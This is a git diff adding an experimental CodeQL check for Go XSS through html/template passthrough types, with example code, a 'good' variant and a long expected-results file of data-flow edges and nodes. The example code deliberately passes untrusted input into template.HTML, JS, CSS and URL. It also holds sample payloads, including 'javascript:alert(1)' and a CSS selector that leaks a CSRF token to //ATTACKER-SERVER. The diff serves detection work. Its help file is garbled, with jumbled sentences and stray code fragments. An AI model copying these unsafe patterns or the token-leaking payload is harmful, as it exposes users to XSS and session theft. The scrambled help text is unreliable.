diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
new file mode 100755
index 00000000000..a842a685f23
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
@@ -0,0 +1,28 @@
+
+
+ In Go, the Using them on user-provided values will result in an opportunity for XSS.
+ Make sure to never use those types on untrusted content.
+
+ In the first example you can see the special types and how they are used in a template:
+
+ To avoid XSS, all user input should be a normal string type.
+ html/template package has a few special types
+ (HTML, HTMLAttr, JS, JSStr, CSS,
+ Srcset, and URL)
+ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
+ through.
+ `)
+
+ {
+ {
+ var a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ {
+ var a template.HTML
+ a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ var a HTMLAlias
+ a = HTMLAlias(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ }
+ }
+ {
+ var c = template.HTMLAttr(source(`href="https://example.com"`))
+ checkError(tmplTag.Execute(os.Stdout, c))
+ }
+ {
+ var d = template.JS(source("alert({hello: 'world'})"))
+ checkError(tmplScript.Execute(os.Stdout, d))
+ }
+ {
+ var e = template.JSStr(source("setTimeout('alert()')"))
+ checkError(tmplScript.Execute(os.Stdout, e))
+ }
+ {
+ var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
+ checkError(tmpl.Execute(os.Stdout, b))
+ }
+ {
+ var f = template.Srcset(source(`evil.jpg 320w`))
+ checkError(tmplSrcset.Execute(os.Stdout, f))
+ }
+ {
+ var g = template.URL(source("javascript:alert(1)"))
+ checkError(tmpl.Execute(os.Stdout, g))
+ }
+}
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
new file mode 100755
index 00000000000..3c0a8ad4eb4
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
@@ -0,0 +1,15 @@
+package main
+
+import (
+ "html/template"
+ "os"
+)
+
+// good is an example of a good implementation
+func good() {
+ tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
+ { // This will be escaped:
+ var escaped = source(`link`)
+ checkError(tmpl.Execute(os.Stdout, escaped))
+ }
+}
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
new file mode 100644
index 00000000000..bc920fc54b6
--- /dev/null
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -0,0 +1,306 @@
+edges
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
+| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted |
+nodes
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
